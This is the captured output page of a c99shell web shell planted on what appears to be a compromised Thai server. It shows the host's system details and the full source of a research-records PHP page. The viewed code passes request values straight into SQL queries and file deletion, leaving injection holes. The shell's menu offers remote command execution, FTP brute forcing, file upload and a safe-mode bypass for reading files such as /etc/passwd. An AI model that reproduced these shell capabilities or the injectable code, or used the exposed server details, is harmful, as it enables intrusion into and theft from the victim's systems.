!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddResearchType.php (18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        require_once( 
"../includes/cURLRes.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "user_tb";
        
$myTable2 "tech_plan_tb";
        
$myTable3 "research_filetex_tb";
        
$myTable4 "research_char_tb"
        
        
    
        
        
/**  โฟลเดอร์ไฟล์เอกสาร */
        
$doc_path $_Config_live_site."/Research_pic";

if( isset(
$action) && !empty($action) ) {
            switch(
$action) {
                case 
"DeletePerson" :
                    
$qryDel "DELETE FROM research_char_tb WHERE  RecharId  ='$RecharId' AND Research_code='$Research_code' ";    
                    
//--Curl------//
                     
$res =  deleteCharCurl($RecharId);
                    break;
                case 
"DeleteFulltex" :
                    
//ลบไฟล์เอกสาร
                    
$sql ="SELECT * FROM  research_filetex_tb   WHERE    Research_Id  ='$Research_Id'  ";
                    
$result mysql_query($sql);
                    
$rs mysql_fetch_array($result);
                    
unlink($ResearchPicPath.$rs["Filetex"]);

                    
$qryDel " DELETE FROM research_filetex_tb WHERE Research_Id  ='$Research_Id' AND Research_code='$Research_code'";
                 
                 
//---Curl-------//
                     
$res deleteFiletexCurl($Research_Id); 
                
                break;
            } 
# switch

            
$resultDel $dbObj->runQuery($qryDel);
            
$dbObj->freeresult($resultDel);
        } 
# if
        
        
    
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลงานวิจัย - ผลงานการวิจัย - รายละเอียดงานวิจัย</title>
<style type="text/css">
<!--
.style22 {font-size: 14px; font-weight: bold; }
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px">
    <?php
        $sql 
" SELECT *  FROM research_tb AS r, research_file_tb as rft  WHERE  r.Research_code='$Research_code' and r.Research_code = rft.Research_code ";
        
$result mysql_query($sql);
        
$rs mysql_fetch_array($result);
    
?>
    <fieldset>
      <table width="759" border="0" cellspacing="0" cellpadding="0">
        <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?page=<?=$page;?>">
          <tr>
            <td width="759" height="5"></td>
          </tr>
          <tr>
            <td height="24" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="ResDetail.php?Research_code=<?=$Research_code;?>&amp;Year_prop=<?=$Year_prop;?>">ข้อมูลผลงาน</a> &raquo; <a href="AddResearchDetail.php?Research_code=<?=$Research_code;?>&amp;Year_prop=<?=$Year_prop;?>">บันทึกการเผยแพร่ผลงาน</a> &raquo; <a href="FrmResearch.php?Research_code=<?=$Research_code;?>">แก้ไขผลงาน</a> &raquo; <span class="NOTE">บันทึกผู้ทำผลงาน</span></strong></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td align="center"><table width="732" border="0" align="center" cellpadding="2" cellspacing="2" style="border:1px solid #EEEEEE">
              <tr bgcolor="#FFEFDF">
                <td width="123" height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF" class="PADDING-TOP-10"><font color="#003366" face="Tahoma">ชื่อผลงาน</font></td>
                <td bgcolor="#FFFFFF" class="PADDING-LEFT-10 PADDING-TOP-10"><?php echo htmlspecialchars_decodenl2br$rs['Research_name'] ) ); ?></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">สาขาวิชา</font></td>
                <td width="593" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"> <? echo $rs['Branch']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><span class="style16"><font color="#003366" face="Tahoma">ปีที่เริ่มทำ</font></span></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma">
                  <?php 
                            $sday 
$rs['Year_start'];
                            
$yearthai explode("-",$sday);
                            
$day intval($yearthai[2]);
                            
$month intval($yearthai[1]);
                            
$year intval($yearthai[0]);     
                              
$m getThaiSubMonth($month);
                                echo
"$day"." "."$m"." "."$year";
                        
?>
                  </font><font color="#003366" face="Tahoma">&nbsp;&nbsp;ปีที่แล้วเสร็จ<font color="#003366" size="2" face="Tahoma">
                    <?php 
                            $sday 
$rs['Year_finish'];
                            
$yearthai explode("-",$sday);
                            
$day intval($yearthai[2]);
                            
$month =  intval($yearthai[1]);
                            
$year intval($yearthai[0]);     
                            
$m getThaiSubMonth($month);
                                echo
"$day"." "."$m"." "."$year";
                        
?>
                    </font></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><table width="98%" border="0" align="left" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                  <tr bgcolor="#F0F0F0">
                    <td height="25" colspan="6" align="left" bordercolor="#999966" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font size="2" face="Tahoma" ><a href="javascript:;" onclick="NewWindow('AddTeacher.php?Research_code=<?php echo $rs['Research_code']; ?>','Detail','550','200','yes')"> <img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;<span class="style22"> เพิ่มผู้ร่วมทำผลงาน</span></font></td>
                    </tr>
                  <?php
              $query 
" SELECT *  FROM  $myTable4  WHERE Research_code='$Research_code' ";
              
$result1 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
              
                  
?>
                  <?php
                $no 
1+($display-1)*$limit;
                while( 
$rss $dbObj->fetchArray($result1) ) {
                     
$countnum $dbObj->_numrows;
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                  <tr bgcolor="<?=$bgColor;?>">
                    <td width="3%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                    <td width="55%" align="left" class="PADDING-LEFT-5"><?php
                    $Teacher_code
=  $rss['Teacher_code'] ;
                    
$sql11 " Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code='$Teacher_code' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                      </font></a></td>
                    <td width="20%" align="left" class="PADDING-LEFT-5"><? echo  $rss[R_position]?></td>
                    <td width="8%" align="center" class="PADDING-LEFT-5"><font size="2" face="Tahoma"><a href="javascript:;" onclick="NewWindow('FrmTeacher.php?Research_code=<?php echo $rss['Research_code'];?>&RecharId=<? echo $rss['RecharId']?>','Detail','550','200','yes');"><img src="../images/icons/icon-edit.gif" alt="แก้ไขข้อมูล" width="16" height="16" border="0" /></a></font></td>
                    <td width="7%" align="center" class="PADDING-LEFT-5">
                      <a href="AddResearchType.php?Research_code=<?php echo $rss['Research_code'];?>&RecharId=<?php echo $rss['RecharId']; ?>&action=DeletePerson"> <img src="../images/icons/cross.png" width="16" height="16" align="absmiddle" border="0" onclick="return confirm('คุณต้องการลบข้อมูล <?=$rs11[First_name]." ".$rs11[Teacher_name]." ".$rs11[Teacher_lastname];?> หรือไม่?')" alt="ลบข้อมูล" /></a></strong></td>
                    <td width="7%" align="center" class="PADDING-LEFT-5"><? 
            
if($countnum 0){
                if(isset(
$rss['RecharId']) && checkCharCurl($rss['RecharId'])) echo "<img src=\"../picture/circle_green.gif\" width=\"16\" height=\"16\" border=\"0\" />";
                else echo 
"<img src=\"../picture/circle_yellow.gif\" width=\"16\" height=\"16\" border=\"0\" />";
            }
            else echo 
"<img src=\"../picture/circle_red.gif\" width=\"16\" height=\"16\" border=\"0\" />";
        
?>
                   </td>
                    </tr>
                  <?php
                    
//$no++;
                
# while
              
?>
                  </table></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">แหล่งเงินทุน</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" face="Tahoma"><? echo $rs['Fund_resourceIn']; ?></font> จำนวนเงิน <font color="#000000" face="Tahoma">&nbsp;<? echo number_format($rs['FundIn']); ?> บาท</font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" face="Tahoma"><? echo $rs['Fund_resourceOut']; ?> จำนวนเงิน <? echo number_format($rs['FundOut']); ?> บาท จากหน่วยงาน <? echo $rs['Resource_des']; ?></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">จำนวเงินทุนทั้งหมด</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo number_format($rs['FundUse']); ?></font> บาท</td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ปีงบประมาณ</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#000000" size="2" face="Tahoma"><? echo $rs['Year_prop']; ?></font><font color="#003366" face="Tahoma">&nbsp;&nbsp; ปีการศึกษา <font color="#000000" size="2" face="Tahoma"><? echo $rs['academic_year_finish']; ?></font></font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ปีที่เผยแพร่</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font color="#003366" size="2" face="Tahoma">
                  <?php 
                            $sday 
$rs['Year_sprop'];
                            
$yearthai explode("-",$sday);
                            
$day intval($yearthai[2]);
                            
$month =  intval($yearthai[1]);
                            
$year intval($yearthai[0]);     
                            
$m getThaiSubMonth($month);
                                echo
"$day"." "."$m"." "."$year";
                        
?>
                  </font></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="20" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ดาว์โหลดไฟล์เอกสาร</font></td>
                <td nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10">
                    <?php if( $rs['Filetex'] != "" ) { ?>
                        <a href="download.php?filename=<?=$rs['Filetex'];?>&path=research" target="_parent"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rs['Filetex'];?> " width="16" height="16" border="0" /></a> <i>เอกสาร Abstract</i>
                    <?php } else { ?>
                        <img src="../images/icons/download_off.png" width="16" height="16" />
                    <?php ?>
                </td>
              </tr>
              <?php //} # if( $rs['Filetex'] != "" ) { ?>
              <tr bgcolor="#FFEFDF">
                <td height="10" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">&nbsp;</td>
                <td height="10" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10">&nbsp;</td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="10" align="right" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF"></td>
                <td height="10" nowrap="nowrap" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><table width="97%" border="0" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
                  <tr bgcolor="#F0F0F0">
                    <td height="25" colspan="5" align="left" bordercolor="#999966" bgcolor="#FFFFFF" class="PADDING-LEFT-10"><font size="2" face="Tahoma" ><a href="javascript:;" onclick="NewWindow('AddFulltex.php?Research_code=<?php echo $rs['Research_code']; ?>','Detail','scrollbars=yes,width=650,height=210')"> <img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;<span class="style22"> เพิ่ม FullTex</span></font></td>
                  </tr>
                  <?php
              $query 
" SELECT *  FROM $myTable3  WHERE Research_code='$Research_code'  ";
              
$result2 $dbObj->execQuery($query);
             
$numrows $dbObj->_numrows;  
                  
?>
                  <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs $dbObj->fetchArray($result2) ) { 
                  
$countnum1 $dbObj->_numrows;
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
                  <tr bgcolor="<?=$bgColor;?>">
                    <td width="3%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                    <td width="77%" align="left" class="PADDING-LEFT-5">
                        <a href="download.php?filename=<?=$rs['Filetex'];?>&path=research" target="_parent" title="คลิ๊กที่นี่เพื่อดาวน์โหลดไฟล์ <?=$rs['Filename'];?>"><?=$rs["Filename"];?></a>
                    </td>
                    <td width="7%" align="center" class="PADDING-LEFT-5">&nbsp;</td>
                    <td width="6%" align="center" class="PADDING-LEFT-5">
                        <a href="AddResearchType.php?Research_code=<?php echo $rs['Research_code'];?>&Research_Id=<?=$rs[Research_Id];?>&action=DeleteFulltex"> <img src="../images/icons/cross.png" width="16" height="16" align="absmiddle" border="0" onclick="return confirm('คุณต้องการลบข้อมูล <?=$rs[Filename];?> หรือไม่?')" alt="ลบข้อมูล" /></a>
                    </td>
                    <td width="7%" align="center" class="PADDING-LEFT-5">
                      <? 
            
if($countnum1 0){
                    if(isset(
$rs['Research_Id']) && checkFiletexCurl($rs['Research_Id']))  echo "<img src=\"../picture/circle_green.gif\" width=\"16\" height=\"16\" border=\"0\" />";
                else echo 
"<img src=\"../picture/circle_yellow.gif\" width=\"16\" height=\"16\" border=\"0\" />";
            }
            else echo 
"<img src=\"../picture/circle_red.gif\" width=\"16\" height=\"16\" border=\"0\" />";
        
?>
                   </td>
                  </tr>
                  <?php
                    
//$no++;
                
# while
              
?>
                  <tr>
                    <td height="22" colspan="5" align="center" bgcolor="#F8F8F8"><strong>ทั้งหมด <span class="NOTE"><?php echo $numrows?></span> รายการ</strong></td>
                  </tr>
                </table></td>
              </tr>
              <tr bgcolor="#FFEFDF">
                <td height="10" colspan="2" align="left" nowrap="nowrap" bordercolor="#D8D2A9" bgcolor="#FFFFFF">หมายเหตุ : <br />
&nbsp;&nbsp;&nbsp; <img src="../picture/circle_green.gif" width="16" height="16" border="0"/>&nbsp;&nbsp;มีการบันทึกข้อมูล ที่หน่วยงานและส่วนกลาง<br />
<br />
&nbsp;&nbsp;&nbsp; <img src="../picture/circle_yellow.gif" width="16" height="16" border="0"/>&nbsp;&nbsp;มีการบันทึกข้อมูล ที่หน่วยงานแต่ไม่ได้บันทึกที่ส่านกลาง<br />
<br />
&nbsp;&nbsp;&nbsp; <img src="../picture/circle_red.gif" width="16" height="16" border="0"/>&nbsp;&nbsp;ไม่มีการบันทึกข้อมูล ที่หน่วยงานและส่วนกลาง</td>
              </tr>
            </table></td>
          </tr>
        </form>
      </table>
    </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.021 ]--